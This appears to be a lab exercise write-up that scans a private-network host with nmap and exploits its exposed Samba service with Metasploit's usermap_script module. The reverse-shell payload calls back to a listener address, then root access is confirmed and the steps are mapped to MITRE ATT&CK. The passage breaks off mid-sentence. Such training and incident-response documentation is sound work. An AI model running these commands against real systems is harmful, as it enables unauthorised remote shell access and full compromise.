Attack-Strategy

Goal

1) Reconnaissance to discover exploitable services
2) Exploitation to validate real risk and demonstrate compromise impact

Step 1 — Reconnaissance using Nmap (MITRE: T1046)

Why we did this

SOC analysts use this step to understand what the attacker likely targeted.

Command used

nmap -sV -T3 192.168.64.6

Key discovery

Samba was exposed on:

- 139/tcp
- 445/tcp

This is a common high-risk target on legacy systems.

Evidence: *screenshots/10_Nmap_Service_Enumeration.png*

Step 2 — Exploitation using Metasploit (MITRE: T1210, T1059)

Why we did this

The chosen module matched the identified service (Samba).

Metasploit setup

If Metasploit was missing:

sudo snap install metasploit-framework

Start:

msfconsole

Module used

use exploit/multi/samba/usermap_script

Configuration

set RHOSTS 192.168.64.6
set LHOST 192.168.64.18
set PAYLOAD cmd/unix/reverse
run

Expected success output

“Command shell session 1 opened”

Evidence: *screenshots/19_Metasploit_exploit_success.png*

Step 3 — Post-exploitation validation (prove access)

Why we did this

A session-opened message is good, but IR reporting requires proof of access level.

Inside the shell:

whoami
id
uname -a

Evidence: *screenshots/metasploit/03-root-proof.png*

MITRE Mapping Summary

- **T1046** — Network Service Discovery (Nmap scan)
- **T1210** — Exploitation of Remote Services (Samba exploit)
- **T1059** — Command Execution (shell commands run post-compromise)

Security Meaning (what this proves)

- Exposed vulnerable remote services can lead to full system compromise
- Root access shows maximum impact (data theft, persistence, lateral movement